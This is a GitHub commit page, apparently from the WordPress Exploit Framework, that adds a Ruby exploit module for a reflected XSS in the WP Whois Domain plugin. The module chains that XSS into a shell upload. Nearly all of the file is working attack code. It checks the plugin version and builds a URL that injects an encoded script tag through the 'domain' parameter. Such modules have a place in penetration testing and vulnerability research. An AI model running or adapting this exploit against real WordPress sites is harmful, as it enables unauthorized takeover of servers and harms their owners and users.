Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 0885cd0

Browse files
committed
Add WP Whois Domain Reflected XSS Shell Upload
1 parent 6736242 commit 0885cd0

File tree

1 file changed

+39
-0
lines changed

1 file changed

+39
-0
lines changed
Lines changed: 39 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,39 @@
1+
class Wpxf::Exploit::WpWhoisDomainReflectedXssShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::ReflectedXss
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'WP Whois Domain Reflected XSS Shell Upload',
9+
author: [
10+
'Rob Carr <rob[at]rastating.com>' # WPXF module
11+
],
12+
references: [
13+
['WPVDB', '8683'],
14+
['URL', 'https://www.rastating.com/wp-whois-domain-reflected-xss/']
15+
],
16+
date: 'Nov 28 2016'
17+
)
18+
19+
register_options([
20+
StringOption.new(
21+
name: 'form_path',
22+
desc: 'The path of the page that contains the WP Whois Domain form',
23+
required: true
24+
)
25+
])
26+
end
27+
28+
def check
29+
check_plugin_version_from_readme('wp-whois-domain')
30+
end
31+
32+
def vulnerable_url
33+
normalize_uri(full_uri, datastore['form_path'])
34+
end
35+
36+
def url_with_xss
37+
"#{vulnerable_url}?domain=%22%3E%3Cscript%3E#{xss_ascii_encoded_include_script}%3C%2Fscript%3E%3C%22"
38+
end
39+
end

0 commit comments

Comments
 (0)